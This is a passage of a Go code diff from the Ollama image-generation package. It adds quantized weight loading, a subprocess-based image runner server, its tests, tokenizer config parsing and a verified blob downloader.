+			layer, err := LoadLinearLayer(weights, fullPath)
+			if err != nil {
+				if !optional {
+					*errs = append(*errs, fullPath+": "+err.Error())
+				}
+				continue
+			}
+			fieldVal.Set(reflect.ValueOf(layer))
+			continue
+		}
+
 		// Handle by kind
 		switch fieldVal.Kind() {
 		case reflect.Ptr:
@@ -136,7 +161,7 @@ func loadStruct(v reflect.Value, weights *ModelWeights, prefix string, errs *[]s
 }
 
 // hasWeightsWithPrefix checks if any weights exist with the given prefix.
-func hasWeightsWithPrefix(weights *ModelWeights, prefix string) bool {
+func hasWeightsWithPrefix(weights WeightSource, prefix string) bool {
 	for _, name := range weights.ListTensors() {
 		if strings.HasPrefix(name, prefix+".") || name == prefix {
 			return true
@@ -146,7 +171,7 @@ func hasWeightsWithPrefix(weights *ModelWeights, prefix string) bool {
 }
 
 // loadSlice loads weights into each element of a slice of struct pointers.
-func loadSlice(v reflect.Value, weights *ModelWeights, prefix string, errs *[]string) {
+func loadSlice(v reflect.Value, weights WeightSource, prefix string, errs *[]string) {
 	elemStructType := v.Type().Elem().Elem()
 
 	for i := 0; i < v.Len(); i++ {
@@ -168,3 +193,64 @@ func joinPath(prefix, suffix string) string {
 	}
 	return prefix + "." + suffix
 }
+
+// LoadLinearLayer loads a linear layer from weights, automatically detecting if it's quantized.
+// If {path}.weight_scale exists, dequantizes the weights.
+func LoadLinearLayer(weights WeightSource, path string) (nn.LinearLayer, error) {
+	// Check if this is a quantized layer by looking for scale tensor
+	scalePath := path + ".weight_scale"
+	if weights.HasTensor(scalePath) {
+		weight, err := weights.GetTensor(path + ".weight")
+		if err != nil {
+			return nil, fmt.Errorf("failed to load quantized weight %s: %w", path, err)
+		}
+
+		scales, err := weights.GetTensor(scalePath)
+		if err != nil {
+			return nil, fmt.Errorf("failed to load scales %s: %w", scalePath, err)
+		}
+
+		// Bias is optional
+		var bias *mlx.Array
+		biasPath := path + ".bias"
+		if weights.HasTensor(biasPath) {
+			bias, _ = weights.GetTensor(biasPath)
+		}
+
+		var qbiases *mlx.Array
+		qbiasPath := path + ".weight_qbias"
+		if weights.HasTensor(qbiasPath) {
+			qbiases, _ = weights.GetTensor(qbiasPath)
+		}
+
+		if mlx.MetalIsAvailable() {
+			return &nn.QuantizedLinear{
+				Weight:    weight,
+				Scales:    scales,
+				QBiases:   qbiases,
+				Bias:      bias,
+				GroupSize: 32,
+				Bits:      8,
+				Mode:      "affine",
+			}, nil
+		}
+
+		dequantized := mlx.Dequantize(weight, scales, qbiases, 32, 8, "affine")
+		return nn.NewLinear(dequantized, bias), nil
+	}
+
+	// Load as regular Linear
+	weight, err := weights.GetTensor(path + ".weight")
+	if err != nil {
+		return nil, fmt.Errorf("failed to load weight %s: %w", path, err)
+	}
+
+	// Bias is optional
+	var bias *mlx.Array
+	biasPath := path + ".bias"
+	if weights.HasTensor(biasPath) {
+		bias, _ = weights.GetTensor(biasPath)
+	}
+
+	return nn.NewLinear(weight, bias), nil
+}

x/imagegen/safetensors/safetensors.go

@@ -118,6 +118,34 @@ func LoadModelWeights(dir string) (*ModelWeights, error) {
 	return mw, nil
 }
 
+// LoadModelWeightsFromPaths loads weights from specific safetensor file paths.
+// Used for loading from blob storage where files are not in a directory.
+func LoadModelWeightsFromPaths(paths []string) (*ModelWeights, error) {
+	mw := &ModelWeights{
+		tensorFiles: make(map[string]string),
+		tensorInfo:  make(map[string]TensorInfo),
+		nativeCache: make(map[string]*mlx.SafetensorsFile),
+	}
+
+	for _, path := range paths {
+		header, err := parseSafetensorHeader(path)
+		if err != nil {
+			return nil, fmt.Errorf("failed to parse %s: %w", path, err)
+		}
+
+		for name, info := range header {
+			mw.tensorFiles[name] = path
+			mw.tensorInfo[name] = info
+		}
+	}
+
+	if len(mw.tensorFiles) == 0 {
+		return nil, fmt.Errorf("no tensors found in provided paths")
+	}
+
+	return mw, nil
+}
+
 // Load loads all tensors into cache with the specified dtype.
 // If dtype is 0, tensors are loaded in their original dtype.
 // Automatically uses streaming (memory-efficient) when dtype conversion is needed,

x/imagegen/server.go

@@ -0,0 +1,369 @@
+package imagegen
+
+import (
+	"bufio"
+	"bytes"
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"log/slog"
+	"math/rand"
+	"net"
+	"net/http"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"runtime"
+	"strconv"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/ollama/ollama/llm"
+	"github.com/ollama/ollama/ml"
+)
+
+// Server wraps an image generation subprocess to implement llm.LlamaServer.
+//
+// This implementation is compatible with Ollama's scheduler and can be loaded/unloaded
+// like any other model. The plan is to eventually bring this into the llm/ package
+// and evolve llm/ to support MLX and multimodal models. For now, keeping the code
+// separate allows for independent iteration on image generation support.
+type Server struct {
+	mu          sync.Mutex
+	cmd         *exec.Cmd
+	port        int
+	modelName   string
+	vramSize    uint64
+	done        chan error
+	client      *http.Client
+	lastErr     string // Last stderr line for error reporting
+	lastErrLock sync.Mutex
+}
+
+// NewServer spawns a new image generation subprocess and waits until it's ready.
+func NewServer(modelName string) (*Server, error) {
+	// Validate platform support before attempting to start
+	if err := CheckPlatformSupport(); err != nil {
+		return nil, err
+	}
+
+	// Find a free port
+	port := 0
+	if a, err := net.ResolveTCPAddr("tcp", "localhost:0"); err == nil {
+		if l, err := net.ListenTCP("tcp", a); err == nil {
+			port = l.Addr().(*net.TCPAddr).Port
+			l.Close()
+		}
+	}
+	if port == 0 {
+		port = rand.Intn(65535-49152) + 49152
+	}
+
+	// Get the ollama-mlx executable path (in same directory as current executable)
+	exe, err := os.Executable()
+	if err != nil {
+		return nil, fmt.Errorf("unable to lookup executable path: %w", err)
+	}
+	if eval, err := filepath.EvalSymlinks(exe); err == nil {
+		exe = eval
+	}
+	mlxExe := filepath.Join(filepath.Dir(exe), "ollama-mlx")
+
+	// Spawn subprocess: ollama-mlx runner --image-engine --model <path> --port <port>
+	cmd := exec.Command(mlxExe, "runner", "--image-engine", "--model", modelName, "--port", strconv.Itoa(port))
+	cmd.Env = os.Environ()
+
+	// On Linux, set LD_LIBRARY_PATH to include MLX library directories
+	if runtime.GOOS == "linux" {
+		// Build library paths: start with LibOllamaPath, then add any mlx_* subdirectories
+		libraryPaths := []string{ml.LibOllamaPath}
+		if mlxDirs, err := filepath.Glob(filepath.Join(ml.LibOllamaPath, "mlx_*")); err == nil {
+			libraryPaths = append(libraryPaths, mlxDirs...)
+		}
+
+		// Append existing LD_LIBRARY_PATH if set
+		if existingPath, ok := os.LookupEnv("LD_LIBRARY_PATH"); ok {
+			libraryPaths = append(libraryPaths, filepath.SplitList(existingPath)...)
+		}
+
+		pathEnvVal := strings.Join(libraryPaths, string(filepath.ListSeparator))
+
+		// Update or add LD_LIBRARY_PATH in cmd.Env
+		found := false
+		for i := range cmd.Env {
+			if strings.HasPrefix(cmd.Env[i], "LD_LIBRARY_PATH=") {
+				cmd.Env[i] = "LD_LIBRARY_PATH=" + pathEnvVal
+				found = true
+				break
+			}
+		}
+		if !found {
+			cmd.Env = append(cmd.Env, "LD_LIBRARY_PATH="+pathEnvVal)
+		}
+		slog.Debug("mlx subprocess library path", "LD_LIBRARY_PATH", pathEnvVal)
+	}
+
+	s := &Server{
+		cmd:       cmd,
+		port:      port,
+		modelName: modelName,
+		vramSize:  EstimateVRAM(modelName),
+		done:      make(chan error, 1),
+		client:    &http.Client{Timeout: 10 * time.Minute},
+	}
+
+	// Forward subprocess stdout/stderr to server logs
+	stdout, _ := cmd.StdoutPipe()
+	stderr, _ := cmd.StderrPipe()
+	go func() {
+		scanner := bufio.NewScanner(stdout)
+		for scanner.Scan() {
+			slog.Info("image-runner", "msg", scanner.Text())
+		}
+	}()
+	go func() {
+		scanner := bufio.NewScanner(stderr)
+		for scanner.Scan() {
+			line := scanner.Text()
+			slog.Warn("image-runner", "msg", line)
+			s.lastErrLock.Lock()
+			s.lastErr = line
+			s.lastErrLock.Unlock()
+		}
+	}()
+
+	slog.Info("starting ollama-mlx image runner subprocess", "exe", mlxExe, "model", modelName, "port", port)
+	if err := cmd.Start(); err != nil {
+		return nil, fmt.Errorf("failed to start image runner: %w", err)
+	}
+
+	// Reap subprocess when it exits
+	go func() {
+		err := cmd.Wait()
+		s.done <- err
+	}()
+
+	// Wait for subprocess to be ready
+	if err := s.waitUntilRunning(); err != nil {
+		s.Close()
+		return nil, err
+	}
+
+	return s, nil
+}
+
+// ModelPath returns the path to the model.
+func (s *Server) ModelPath() string {
+	return s.modelName
+}
+
+func (s *Server) Load(ctx context.Context, systemInfo ml.SystemInfo, gpus []ml.DeviceInfo, requireFull bool) ([]ml.DeviceID, error) {
+	return nil, nil
+}
+
+// Ping checks if the subprocess is healthy.
+func (s *Server) Ping(ctx context.Context) error {
+	url := fmt.Sprintf("http://127.0.0.1:%d/health", s.port)
+	req, err := http.NewRequestWithContext(ctx, "GET", url, nil)
+	if err != nil {
+		return err
+	}
+	resp, err := s.client.Do(req)
+	if err != nil {
+		return err
+	}
+	defer resp.Body.Close()
+	if resp.StatusCode != http.StatusOK {
+		return fmt.Errorf("health check failed: %d", resp.StatusCode)
+	}
+	return nil
+}
+
+// waitUntilRunning waits for the subprocess to be ready.
+func (s *Server) waitUntilRunning() error {
+	ctx := context.Background()
+	timeout := time.After(2 * time.Minute)
+	ticker := time.NewTicker(100 * time.Millisecond)
+	defer ticker.Stop()
+
+	for {
+		select {
+		case err := <-s.done:
+			// Include recent stderr lines for better error context
+			errMsg := s.getLastErr()
+			if errMsg != "" {
+				return fmt.Errorf("image runner failed: %s (exit: %v)", errMsg, err)
+			}
+			return fmt.Errorf("image runner exited unexpectedly: %w", err)
+		case <-timeout:
+			errMsg := s.getLastErr()
+			if errMsg != "" {
+				return fmt.Errorf("timeout waiting for image runner: %s", errMsg)
+			}
+			return errors.New("timeout waiting for image runner to start")
+		case <-ticker.C:
+			if err := s.Ping(ctx); err == nil {
+				slog.Info("image runner is ready", "port", s.port)
+				return nil
+			}
+		}
+	}
+}
+
+// getLastErr returns the last stderr line.
+func (s *Server) getLastErr() string {
+	s.lastErrLock.Lock()
+	defer s.lastErrLock.Unlock()
+	return s.lastErr
+}
+
+func (s *Server) WaitUntilRunning(ctx context.Context) error { return nil }
+
+func (s *Server) Completion(ctx context.Context, req llm.CompletionRequest, fn func(llm.CompletionResponse)) error {
+	seed := req.Seed
+	if seed == 0 {
+		seed = time.Now().UnixNano()
+	}
+
+	// Build request for subprocess
+	creq := struct {
+		Prompt string `json:"prompt"`
+		Width  int32  `json:"width,omitempty"`
+		Height int32  `json:"height,omitempty"`
+		Steps  int32  `json:"steps,omitempty"`
+		Seed   int64  `json:"seed,omitempty"`
+	}{
+		Prompt: req.Prompt,
+		Width:  req.Width,
+		Height: req.Height,
+		Steps:  req.Steps,
+		Seed:   seed,
+	}
+
+	body, err := json.Marshal(creq)
+	if err != nil {
+		return err
+	}
+
+	url := fmt.Sprintf("http://127.0.0.1:%d/completion", s.port)
+	httpReq, err := http.NewRequestWithContext(ctx, "POST", url, bytes.NewReader(body))
+	if err != nil {
+		return err
+	}
+	httpReq.Header.Set("Content-Type", "application/json")
+
+	resp, err := s.client.Do(httpReq)
+	if err != nil {
+		return err
+	}
+	defer resp.Body.Close()
+
+	if resp.StatusCode != http.StatusOK {
+		return fmt.Errorf("request failed: %d", resp.StatusCode)
+	}
+
+	scanner := bufio.NewScanner(resp.Body)
+	scanner.Buffer(make([]byte, 1024*1024), 16*1024*1024) // 16MB max
+	for scanner.Scan() {
+		// Parse subprocess response (has singular "image" field)
+		var raw struct {
+			Image   string `json:"image,omitempty"`
+			Content string `json:"content,omitempty"`
+			Done    bool   `json:"done"`
+			Step    int    `json:"step,omitempty"`
+			Total   int    `json:"total,omitempty"`
+		}
+		if err := json.Unmarshal(scanner.Bytes(), &raw); err != nil {
+			continue
+		}
+
+		// Convert to llm.CompletionResponse
+		cresp := llm.CompletionResponse{
+			Content:    raw.Content,
+			Done:       raw.Done,
+			Step:       raw.Step,
+			TotalSteps: raw.Total,
+			Image:      raw.Image,
+		}
+
+		fn(cresp)
+		if cresp.Done {
+			return nil
+		}
+	}
+
+	return scanner.Err()
+}
+
+// Close terminates the subprocess.
+func (s *Server) Close() error {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+
+	if s.cmd != nil && s.cmd.Process != nil {
+		slog.Info("stopping image runner subprocess", "pid", s.cmd.Process.Pid)
+		s.cmd.Process.Signal(os.Interrupt)
+
+		// Wait briefly for graceful shutdown
+		select {
+		case <-s.done:
+		case <-time.After(5 * time.Second):
+			s.cmd.Process.Kill()
+		}
+		s.cmd = nil
+	}
+	return nil
+}
+
+// VRAMSize returns the estimated VRAM usage.
+func (s *Server) VRAMSize() uint64 {
+	return s.vramSize
+}
+
+// TotalSize returns the total memory usage.
+func (s *Server) TotalSize() uint64 {
+	return s.vramSize
+}
+
+// VRAMByGPU returns VRAM usage for a specific GPU.
+func (s *Server) VRAMByGPU(id ml.DeviceID) uint64 {
+	return s.vramSize
+}
+
+func (s *Server) Embedding(ctx context.Context, input string) ([]float32, int, error) {
+	return nil, 0, errors.New("not supported")
+}
+
+func (s *Server) Tokenize(ctx context.Context, content string) ([]int, error) {
+	return nil, errors.New("not supported")
+}
+
+func (s *Server) Detokenize(ctx context.Context, tokens []int) (string, error) {
+	return "", errors.New("not supported")
+}
+
+func (s *Server) Pid() int {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	if s.cmd != nil && s.cmd.Process != nil {
+		return s.cmd.Process.Pid
+	}
+	return -1
+}
+
+func (s *Server) GetPort() int                                       { return s.port }
+func (s *Server) GetDeviceInfos(ctx context.Context) []ml.DeviceInfo { return nil }
+
+func (s *Server) HasExited() bool {
+	select {
+	case <-s.done:
+		return true
+	default:
+		return false
+	}
+}
+
+// Ensure Server implements llm.LlamaServer
+var _ llm.LlamaServer = (*Server)(nil)

x/imagegen/server_test.go

@@ -0,0 +1,82 @@
+package imagegen
+
+import (
+	"runtime"
+	"testing"
+)
+
+// TestPlatformSupport verifies platform validation works correctly.
+func TestPlatformSupport(t *testing.T) {
+	err := CheckPlatformSupport()
+
+	switch runtime.GOOS {
+	case "darwin":
+		if runtime.GOARCH == "arm64" {
+			// Apple Silicon should be supported
+			if err != nil {
+				t.Errorf("Expected nil error on darwin/arm64, got: %v", err)
+			}
+		} else {
+			// Intel Mac should fail
+			if err == nil {
+				t.Error("Expected error on darwin/amd64 (Intel), got nil")
+			}
+			if err != nil && err.Error() == "" {
+				t.Error("Expected meaningful error message for unsupported platform")
+			}
+		}
+	case "linux", "windows":
+		// Linux/Windows are allowed (CUDA support checked at runtime)
+		if err != nil {
+			t.Errorf("Expected nil error on %s, got: %v", runtime.GOOS, err)
+		}
+	default:
+		// Other platforms should fail
+		if err == nil {
+			t.Errorf("Expected error on unsupported platform %s, got nil", runtime.GOOS)
+		}
+	}
+}
+
+// TestMemoryRequirementsError verifies memory check returns clear error.
+func TestMemoryRequirementsError(t *testing.T) {
+	// Test with insufficient memory
+	err := CheckMemoryRequirements("test-model", 8*GB)
+	if err == nil {
+		t.Error("Expected error for insufficient memory (8GB < 21GB default)")
+	}
+
+	// Test with sufficient memory
+	err = CheckMemoryRequirements("test-model", 32*GB)
+	if err != nil {
+		t.Errorf("Expected no error for sufficient memory (32GB), got: %v", err)
+	}
+}
+
+// TestEstimateVRAMReturnsReasonableDefaults verifies VRAM estimates are sensible.
+func TestEstimateVRAMReturnsReasonableDefaults(t *testing.T) {
+	// Unknown model should return default (21GB)
+	vram := EstimateVRAM("unknown-model")
+	if vram < 10*GB || vram > 100*GB {
+		t.Errorf("VRAM estimate %d GB is outside reasonable range (10-100 GB)", vram/GB)
+	}
+
+	// Verify known pipeline estimates exist and are reasonable
+	for name, estimate := range modelVRAMEstimates {
+		if estimate < 10*GB {
+			t.Errorf("VRAM estimate for %s (%d GB) is suspiciously low", name, estimate/GB)
+		}
+		if estimate > 200*GB {
+			t.Errorf("VRAM estimate for %s (%d GB) is suspiciously high", name, estimate/GB)
+		}
+	}
+}
+
+// TestServerInterfaceCompliance verifies Server implements llm.LlamaServer.
+// This is a compile-time check but we document it as a test.
+func TestServerInterfaceCompliance(t *testing.T) {
+	// The var _ llm.LlamaServer = (*Server)(nil) line in server.go
+	// ensures compile-time interface compliance.
+	// This test documents that requirement.
+	t.Log("Server implements llm.LlamaServer interface (compile-time checked)")
+}

x/imagegen/tokenizer/tokenizer.go

@@ -256,6 +256,164 @@ func rewritePatternForRE2(pattern string) string {
 	return pattern
 }
 
+// LoadFromBytes loads a tokenizer from tokenizer.json bytes.
+// This is useful when loading from blob storage where the file content is already in memory.
+// Note: This won't load special token config from companion files. Use LoadFromBytesWithConfig
+// to provide tokenizer_config.json data for proper PAD/EOS token loading.
+func LoadFromBytes(data []byte) (*Tokenizer, error) {
+	return loadFromTokenizerJSON(data, "")
+}
+
+// TokenizerConfig holds optional configuration data that can be passed to LoadFromBytesWithConfig.
+type TokenizerConfig struct {
+	TokenizerConfigJSON   []byte // tokenizer_config.json content
+	GenerationConfigJSON  []byte // generation_config.json content
+	SpecialTokensMapJSON  []byte // special_tokens_map.json content
+	ConfigJSON            []byte // config.json content
+}
+
+// LoadFromBytesWithConfig loads a tokenizer from tokenizer.json bytes with additional config files.
+// This is useful when loading from blob storage where companion config files are also blobs.
+func LoadFromBytesWithConfig(data []byte, config *TokenizerConfig) (*Tokenizer, error) {
+	t, err := loadFromTokenizerJSON(data, "")
+	if err != nil {
+		return nil, err
+	}
+
+	if config == nil {
+		return t, nil
+	}
+
+	// Apply special token configs from provided data
+	loadSpecialTokenConfigFromBytes(t, config)
+
+	return t, nil
+}
+
+// loadSpecialTokenConfigFromBytes loads special token configuration from byte slices.
+func loadSpecialTokenConfigFromBytes(t *Tokenizer, config *TokenizerConfig) {
+	// Helper to parse eos_token_id which can be int or []int
+	parseTokenIDs := func(v interface{}) []int32 {
+		switch val := v.(type) {
+		case float64:
+			return []int32{int32(val)}
+		case []interface{}:
+			ids := make([]int32, 0, len(val))
+			for _, id := range val {
+				if f, ok := id.(float64); ok {
+					ids = append(ids, int32(f))
+				}
+			}
+			return ids
+		}
+		return nil
+	}
+
+	// Priority 1: generation_config.json
+	if len(config.GenerationConfigJSON) > 0 {
+		var genConfig struct {
+			EOSTokenID interface{} `json:"eos_token_id"`
+			BOSTokenID interface{} `json:"bos_token_id"`
+		}
+		if err := json.Unmarshal(config.GenerationConfigJSON, &genConfig); err == nil {
+			if ids := parseTokenIDs(genConfig.EOSTokenID); len(ids) > 0 {
+				t.vocab.EOS = ids
+			}
+			if ids := parseTokenIDs(genConfig.BOSTokenID); len(ids) > 0 {
+				t.vocab.BOS = ids[0]
+			}
+		}
+	}
+
+	// Priority 2: config.json
+	if len(config.ConfigJSON) > 0 && (len(t.vocab.EOS) == 0 || t.vocab.BOS < 0) {
+		var modelConfig struct {
+			EOSTokenID interface{} `json:"eos_token_id"`
+			BOSTokenID interface{} `json:"bos_token_id"`
+		}
+		if err := json.Unmarshal(config.ConfigJSON, &modelConfig); err == nil {
+			if len(t.vocab.EOS) == 0 {
+				if ids := parseTokenIDs(modelConfig.EOSTokenID); len(ids) > 0 {
+					t.vocab.EOS = ids
+				}
+			}
+			if t.vocab.BOS < 0 {
+				if ids := parseTokenIDs(modelConfig.BOSTokenID); len(ids) > 0 {
+					t.vocab.BOS = ids[0]
+				}
+			}
+		}
+	}
+
+	// Priority 3: tokenizer_config.json
+	if len(config.TokenizerConfigJSON) > 0 {
+		var tokConfig struct {
+			BOSToken    interface{} `json:"bos_token"`
+			EOSToken    interface{} `json:"eos_token"`
+			PADToken    interface{} `json:"pad_token"`
+			AddBOSToken *bool       `json:"add_bos_token"`
+			AddEOSToken *bool       `json:"add_eos_token"`
+		}
+		if err := json.Unmarshal(config.TokenizerConfigJSON, &tokConfig); err == nil {
+			if t.vocab.BOS < 0 {
+				if bosStr := extractTokenString(tokConfig.BOSToken); bosStr != "" {
+					if id, ok := t.specialTokens[bosStr]; ok {
+						t.vocab.BOS = id
+					}
+				}
+			}
+			if len(t.vocab.EOS) == 0 {
+				if eosStr := extractTokenString(tokConfig.EOSToken); eosStr != "" {
+					if id, ok := t.specialTokens[eosStr]; ok {
+						t.vocab.EOS = []int32{id}
+					}
+				}
+			}
+			if t.vocab.PAD < 0 {
+				if padStr := extractTokenString(tokConfig.PADToken); padStr != "" {
+					if id, ok := t.specialTokens[padStr]; ok {
+						t.vocab.PAD = id
+					}
+				}
+			}
+			if tokConfig.AddBOSToken != nil {
+				t.vocab.AddBOS = *tokConfig.AddBOSToken
+			}
+			if tokConfig.AddEOSToken != nil {
+				t.vocab.AddEOS = *tokConfig.AddEOSToken
+			}
+		}
+	}
+
+	// Priority 4: special_tokens_map.json
+	if len(config.SpecialTokensMapJSON) > 0 {
+		var tokensMap map[string]interface{}
+		if err := json.Unmarshal(config.SpecialTokensMapJSON, &tokensMap); err == nil {
+			if t.vocab.BOS < 0 {
+				if bosStr := extractTokenString(tokensMap["bos_token"]); bosStr != "" {
+					if id, ok := t.specialTokens[bosStr]; ok {
+						t.vocab.BOS = id
+					}
+				}
+			}
+			if len(t.vocab.EOS) == 0 {
+				if eosStr := extractTokenString(tokensMap["eos_token"]); eosStr != "" {
+					if id, ok := t.specialTokens[eosStr]; ok {
+						t.vocab.EOS = []int32{id}
+					}
+				}
+			}
+			if t.vocab.PAD < 0 {
+				if padStr := extractTokenString(tokensMap["pad_token"]); padStr != "" {
+					if id, ok := t.specialTokens[padStr]; ok {
+						t.vocab.PAD = id
+					}
+				}
+			}
+		}
+	}
+}
+
 // Load loads a tokenizer from a path which can be:
 // - A tokenizer.json file
 // - A directory containing tokenizer.json or vocab.json + merges.txt

x/imagegen/transfer/download.go

@@ -0,0 +1,329 @@
+package transfer
+
+import (
+	"cmp"
+	"context"
+	"crypto/sha256"
+	"errors"
+	"fmt"
+	"io"
+	"log/slog"
+	"net/http"
+	"net/url"
+	"os"
+	"path/filepath"
+	"slices"
+	"sync"
+	"sync/atomic"
+	"time"
+
+	"golang.org/x/sync/errgroup"
+	"golang.org/x/sync/semaphore"
+)
+
+var (
+	errStalled = errors.New("download stalled")
+	errSlow    = errors.New("download too slow")
+)
+
+type downloader struct {
+	client       *http.Client
+	baseURL      string
+	destDir      string
+	repository   string // Repository path for blob URLs (e.g., "library/model")
+	token        *string
+	getToken     func(context.Context, AuthChallenge) (string, error)
+	userAgent    string
+	stallTimeout time.Duration
+	progress     *progressTracker
+	speeds       *speedTracker
+	logger       *slog.Logger
+}
+
+func download(ctx context.Context, opts DownloadOptions) error {
+	if len(opts.Blobs) == 0 {
+		return nil
+	}
+
+	// Calculate total from all blobs (for accurate progress reporting on resume)
+	var total int64
+	for _, b := range opts.Blobs {
+		total += b.Size
+	}
+
+	// Filter out already-downloaded blobs and track completed bytes
+	var blobs []Blob
+	var alreadyCompleted int64
+	for _, b := range opts.Blobs {
+		if fi, _ := os.Stat(filepath.Join(opts.DestDir, digestToPath(b.Digest))); fi != nil && fi.Size() == b.Size {
+			if opts.Logger != nil {
+				opts.Logger.Debug("blob already exists", "digest", b.Digest, "size", b.Size)
+			}
+			alreadyCompleted += b.Size
+			continue
+		}
+		blobs = append(blobs, b)
+	}
+	if len(blobs) == 0 {
+		return nil
+	}
+
+	token := opts.Token
+	progress := newProgressTracker(total, opts.Progress)
+	progress.add(alreadyCompleted) // Report already-downloaded bytes upfront
+
+	d := &downloader{
+		client:       cmp.Or(opts.Client, defaultClient),
+		baseURL:      opts.BaseURL,
+		destDir:      opts.DestDir,
+		repository:   cmp.Or(opts.Repository, "library/_"),
+		token:        &token,
+		getToken:     opts.GetToken,
+		userAgent:    cmp.Or(opts.UserAgent, defaultUserAgent),
+		stallTimeout: cmp.Or(opts.StallTimeout, defaultStallTimeout),
+		progress:     progress,
+		speeds:       &speedTracker{},
+		logger:       opts.Logger,
+	}
+
+	concurrency := cmp.Or(opts.Concurrency, DefaultDownloadConcurrency)
+	sem := semaphore.NewWeighted(int64(concurrency))
+
+	g, ctx := errgroup.WithContext(ctx)
+	for _, blob := range blobs {
+		g.Go(func() error {
+			if err := sem.Acquire(ctx, 1); err != nil {
+				return err
+			}
+			defer sem.Release(1)
+			return d.download(ctx, blob)
+		})
+	}
+	return g.Wait()
+}
+
+func (d *downloader) download(ctx context.Context, blob Blob) error {
+	var lastErr error
+	var slowRetries int
+	attempt := 0
+
+	for attempt < maxRetries {
+		if attempt > 0 {
+			if err := backoff(ctx, attempt, time.Second<<uint(attempt-1)); err != nil {
+				return err
+			}
+		}
+
+		start := time.Now()
+		n, err := d.downloadOnce(ctx, blob)
+		if err == nil {
+			if s := time.Since(start).Seconds(); s > 0 {
+				d.speeds.record(float64(blob.Size) / s)
+			}
+			return nil
+		}
+
+		d.progress.add(-n) // rollback
+
+		switch {
+		case errors.Is(err, context.Canceled), errors.Is(err, context.DeadlineExceeded):
+			return err
+		case errors.Is(err, errStalled):
+			// Don't count stall retries against limit
+		case errors.Is(err, errSlow):
+			if slowRetries++; slowRetries >= 3 {
+				attempt++ // Only count after 3 slow retries
+			}
+		default:
+			attempt++
+		}
+		lastErr = err
+	}
+	return fmt.Errorf("%w: %v", errMaxRetriesExceeded, lastErr)
+}
+
+func (d *downloader) downloadOnce(ctx context.Context, blob Blob) (int64, error) {
+	if d.logger != nil {
+		d.logger.Debug("downloading blob", "digest", blob.Digest, "size", blob.Size)
+	}
+
+	baseURL, _ := url.Parse(d.baseURL)
+	u, err := d.resolve(ctx, fmt.Sprintf("%s/v2/%s/blobs/%s", d.baseURL, d.repository, blob.Digest))
+	if err != nil {
+		return 0, err
+	}
+
+	req, _ := http.NewRequestWithContext(ctx, http.MethodGet, u.String(), nil)
+	req.Header.Set("User-Agent", d.userAgent)
+	// Add auth only for same-host (not CDN)
+	if u.Host == baseURL.Host && *d.token != "" {
+		req.Header.Set("Authorization", "Bearer "+*d.token)
+	}
+
+	resp, err := d.client.Do(req)
+	if err != nil {
+		return 0, err
+	}
+	defer resp.Body.Close()
+
+	if resp.StatusCode != http.StatusOK {
+		return 0, fmt.Errorf("status %d", resp.StatusCode)
+	}
+
+	return d.save(ctx, blob, resp.Body)
+}
+
+func (d *downloader) save(ctx context.Context, blob Blob, r io.Reader) (int64, error) {
+	dest := filepath.Join(d.destDir, digestToPath(blob.Digest))
+	tmp := dest + ".tmp"
+	os.MkdirAll(filepath.Dir(dest), 0o755)
+
+	f, err := os.Create(tmp)
+	if err != nil {
+		return 0, err
+	}
+	defer f.Close()
+	setSparse(f)
+
+	h := sha256.New()
+	n, err := d.copy(ctx, f, r, h)
+	if err != nil {
+		os.Remove(tmp)
+		return n, err
+	}
+	f.Close()
+
+	if got := fmt.Sprintf("sha256:%x", h.Sum(nil)); got != blob.Digest {
+		os.Remove(tmp)
+		return n, fmt.Errorf("digest mismatch")
+	}
+	if n != blob.Size {
+		os.Remove(tmp)
+		return n, fmt.Errorf("size mismatch")
+	}
+	return n, os.Rename(tmp, dest)
+}
+
+func (d *downloader) copy(ctx context.Context, dst io.Writer, src io.Reader, h io.Writer) (int64, error) {
+	var n int64
+	var lastRead atomic.Int64
+	lastRead.Store(time.Now().UnixNano())
+	start := time.Now()
+
+	ctx, cancel := context.WithCancelCause(ctx)
+	defer cancel(nil)
+
+	go func() {
+		tick := time.NewTicker(time.Second)
+		defer tick.Stop()
+		for {
+			select {
+			case <-ctx.Done():
+				return
+			case <-tick.C:
+				if time.Since(time.Unix(0, lastRead.Load())) > d.stallTimeout {
+					cancel(errStalled)
+					return
+				}
+				if e := time.Since(start); e > 5*time.Second {
+					if m := d.speeds.median(); m > 0 && float64(n)/e.Seconds() < m*0.1 {
+						cancel(errSlow)
+						return
+					}
+				}
+			}
+		}
+	}()
+
+	buf := make([]byte, 32*1024)
+	for {
+		if err := ctx.Err(); err != nil {
+			if c := context.Cause(ctx); c != nil {
+				return n, c
+			}
+			return n, err
+		}
+
+		nr, err := src.Read(buf)
+		if nr > 0 {
+			lastRead.Store(time.Now().UnixNano())
+			dst.Write(buf[:nr])
+			h.Write(buf[:nr])
+			d.progress.add(int64(nr))
+			n += int64(nr)
+		}
+		if err == io.EOF {
+			return n, nil
+		}
+		if err != nil {
+			return n, err
+		}
+	}
+}
+
+func (d *downloader) resolve(ctx context.Context, rawURL string) (*url.URL, error) {
+	u, _ := url.Parse(rawURL)
+	for range 10 {
+		req, _ := http.NewRequestWithContext(ctx, http.MethodGet, u.String(), nil)
+		req.Header.Set("User-Agent", d.userAgent)
+		if *d.token != "" {
+			req.Header.Set("Authorization", "Bearer "+*d.token)
+		}
+
+		resp, err := d.client.Do(req)
+		if err != nil {
+			return nil, err
+		}
+		resp.Body.Close()
+
+		switch resp.StatusCode {
+		case http.StatusOK:
+			return u, nil
+		case http.StatusUnauthorized:
+			if d.getToken == nil {
+				return nil, fmt.Errorf("unauthorized")
+			}
+			ch := parseAuthChallenge(resp.Header.Get("WWW-Authenticate"))
+			if *d.token, err = d.getToken(ctx, ch); err != nil {
+				return nil, err
+			}
+		case http.StatusTemporaryRedirect, http.StatusFound, http.StatusMovedPermanently:
+			loc, _ := resp.Location()
+			if loc.Host != u.Host {
+				return loc, nil
+			}
+			u = loc
+		default:
+			return nil, fmt.Errorf("status %d", resp.StatusCode)
+		}
+	}
+	return nil, fmt.Errorf("too many redirects")
+}
+
+type speedTracker struct {
+	mu     sync.Mutex
+	speeds []float64
+}
+
+func (s *speedTracker) record(v float64) {
+	s.mu.Lock()
+	s.speeds = append(s.speeds, v)
+	if len(s.speeds) > 30 {
+		s.speeds = s.speeds[1:]
+	}
+	s.mu.Unlock()
+}
+
+func (s *speedTracker) median() float64 {
+	s.mu.Lock()
